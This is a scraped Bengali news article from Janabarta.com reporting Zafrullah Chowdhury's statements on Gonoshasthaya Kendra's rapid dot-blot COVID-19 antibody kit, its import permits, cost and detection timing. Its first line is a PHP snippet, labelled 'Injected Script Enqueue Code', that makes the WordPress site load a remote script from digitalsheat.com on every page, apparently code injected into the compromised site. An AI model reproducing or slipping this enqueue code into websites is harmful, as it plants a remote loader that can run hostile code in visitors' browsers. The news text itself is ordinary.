// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site আক্রান্তের তৃতীয় দিনে গণস্বাস্থ্যের কিটে ধরা পড়বে করোনা - Janabarta.com

আক্রান্তের তৃতীয় দিনে গণস্বাস্থ্যের কিটে ধরা পড়বে করোনা

জনবার্তা ডেস্কঃ করোনাভাইরাস শনাক্তের কিট তৈরির উপাদান আমদানির ক্ষেত্রে শুল্ক মওকুফের প্রতিশ্রুতি পেয়েছে গণস্বাস্থ্য কেন্দ্র। আগামী বৃহস্পতিবারের মধ্যে প্রয়োজনীয় উপাদান বা রিএজেন্ট দেশে পৌঁছাবে বলে জানিয়েছেন গণস্বাস্থ্যকেন্দ্রের প্রতিষ্ঠাতা ও ট্রাস্টি জাফরুল্লাহ চৌধুরী। তিনি বলেন, উপাদান দেশে পৌঁছানোর এক সপ্তাহের মধ্যে সরকারকে নমুনা কিট সরবরাহ করতে পারবেন।

আজ শনিবার সকালে গণস্বাস্থ্য কেন্দ্র কার্যালয়ে তিনি এসব কথা বলেন। তিনি বলেন, সরকারি মহলে কিট তৈরির ব্যাপারে উদ্দীপনা তৈরি হয়েছে। আজ শনিবার সাপ্তাহিক বন্ধের দিনেও জাতীয় রাজস্ব বোর্ড (এনবিআর) কার্যালয়ে গণস্বাস্থ্য কেন্দ্রের আমদানি শুল্ক মওকুফের বিষয়টি নিয়ে কাজ হচ্ছে। শুল্ক মওকুফ এবং দ্রুততম সময়ে খালাস করার ব্যাপারে নিশ্চয়তা দিয়েছে এনবিআর।

গণস্বাস্থ্য র‍্যাপিড ডট ব্লটের (জি র‍্যাপিড ডট ব্লট) একটি সীমাবদ্ধতা রয়েছে বলে জানান জাফরুল্লাহ চৌধুরী। তিনি বলেন, বর্তমানে করোনাভাইরাস শনাক্তে ব্যবহৃত পিসিআর পদ্ধতিটি ব্যয়বহুল। তবে এই পদ্ধতিতে করোনা আক্রান্তের প্রথম দিনেই রোগ শনাক্ত করা সম্ভব। আর গণস্বাস্থ্য কেন্দ্রের কিটে করোনা আক্রান্ত হওয়ার তৃতীয় দিনে গিয়ে রোগ শনাক্ত হবে।

গণস্বাস্থ্য র‍্যাপিড ডট ব্লট (জি র‍্যাপিড ডট ব্লট) নামের এই কিটের মাধ্যমে কীভাবে করোনাভাইরাস শনাক্ত করা হবে জানতে চাইলে জাফরুল্লাহ বলেন, রক্তের গ্রুপ যে পদ্ধতিতে চিহ্নিত করা হয়, এটা মোটামুটি সে রকমের একটি পদ্ধতি। এই পদ্ধতিতে ৫ থেকে ১৫ মিনিটের মধ্যে অত্যন্ত স্বল্পমূল্যে করোনাভাইরাস শনাক্ত করা যাবে। তিনি বলেন, খরচ পড়বে তিন শ থেকে সাড়ে তিন শ টাকা। সরকার যদি এর ওপর ট্যাক্স-ভ্যাট আরোপ না করে, তাহলে গণস্বাস্থ্যকেন্দ্র দুই থেকে আড়াই শ টাকায় এটি বাজারজাত করতে পারবে।

জাফরুল্লাহ আরও বলেন, পিসিআর পদ্ধতিতে নাক, মুখের লালা দিয়ে পরীক্ষা করা হয়। ৩ থেকে ৫ দিন সময় লাগে। আর গণস্বাস্থ্য কেন্দ্রের কিটে এক ফোঁটা রক্তের মাধ্যমে পরীক্ষা করা হবে। এর জন্য আক্রান্ত ব্যক্তির শরীরে যথেষ্ট অ্যান্টিবডি তৈরি হতে হয়। ফলে গণস্বাস্থ্যের কিটে পরীক্ষাটি আক্রান্ত হওয়ার তৃতীয় দিনে কার্যকর হবে।

করোনাভাইরাস শনাক্তে কোভিড-১৯ রোগ পরীক্ষার সহজ ও স্বল্পমূল্যের পদ্ধতি উদ্ভাবন করার কথা জানিয়েছে গণস্বাস্থ্যকেন্দ্র। গত বুধবার গণস্বাস্থ্যকেন্দ্র থেকে সরকারের ওষুধ প্রশাসন অধিদপ্তরের শীর্ষ কর্মকর্তাদের সঙ্গে বৈঠক করে কিটে ব্যবহার করতে প্রয়োজনীয় উপাদান বা রিএজেন্ট আমদানির অনুমতি চাওয়া হয়। পরে বৃহস্পতিবার দুপুরে গণস্বাস্থ্য কেন্দ্রকে কিট তৈরির উপাদানের আমদানির অনুমতি দেয় সরকার।

জাফরুল্লাহ বলেন, বৃহস্পতিবার দুপুর একটায় সরকার আমদানির অনুমতি দেয়। গণস্বাস্থ্যকেন্দ্র ওই দিন দুপুর ২টায় ব্যাংকে ঋণপত্র খোলে। যুক্তরাজ্যের গবেষণাগারের সঙ্গে কথা হয়েছে। সোম বা মঙ্গলবারের মধ্যে তারা উপাদান পাঠিয়ে দেবে। বৃহস্পতিবারে মধ্যে দেশে পৌঁছে যাবে।

বৃহস্পতিবার উপাদান পাওয়া গেলে এক সপ্তাহের মধ্যে প্রয়োজনীয় নমুনা কিট তৈরি করতে পারবেন বলে জাফরুল্লাহ আশা প্রকাশ করেন। তিনি বলেন, সরকার কিট তৈরির অনুমতি দিয়েছে, তবে বাজারজাত করার অনুমতি দেয়নি। কিটের নমুনা তৈরি করে তা সরকারকে দেওয়া হবে। সরকার পরীক্ষা করে দেখবে সেটা কতটুকু কাজ করে। এপ্রিলের মধ্যে লক্ষাধিক মানুষকে পরীক্ষা করার মতো কিট তৈরি করা যাবে বলে তিনি আশা করেন।

গণস্বাস্থ্য কেন্দ্রের করোনাভাইরাস শনাক্তের কিট তৈরির কার্যক্রমের শুরু কীভাবে জানতে চাইলে জাফরুল্লাহ বলেন, গণস্বাস্থ্য ফার্মাসিউটিক্যালসের প্রধান বিজ্ঞানী বিজন কুমার শীল গত ডিসেম্বরে করোনাভাইরাস শনাক্তের কিট তৈরির কাজ শুরু করেন। তার সঙ্গে গণস্বাস্থ্যকেন্দ্রের তিন চিকিৎসক নিহাদ আদনান, মোহাম্মদ রাশেদ জমিরউদ্দিন ও ফিরোজ আহমেদ এই পদ্ধতি উদ্ভাবনে কাজ করেন। আর তাদের কাজ সমন্বয় করেন গণবিশ্ববিদ্যালয়ের অধ্যাপক মহিবুল্লা খন্দকার।

মার্চ মাসের শুরুর দিকে বিজন কুমার জানান, তারা করোনাভাইরাস শনাক্তের কিট তৈরি করতে সক্ষম হয়েছেন। ২০০৩ সালে পৃথিবীজুড়ে সার্স ভাইরাস ছড়িয়ে পড়লে বিজন কুমার শীল সিঙ্গাপুর গবেষণাগারে কয়েকজন সহকারীকে নিয়ে সার্স ভাইরাস দ্রুত নির্ণয়ের পদ্ধতি আবিষ্কার করেন। বিজন কুমার বর্তমানে গণবিশ্ববিদ্যালয়ের অধ্যাপক ও গণস্বাস্থ্য ফার্মাসিউটিক্যালসের প্রধান বিজ্ঞানী হিসেবে কর্মরত আছেন।

সূত্রঃ প্রথম আলো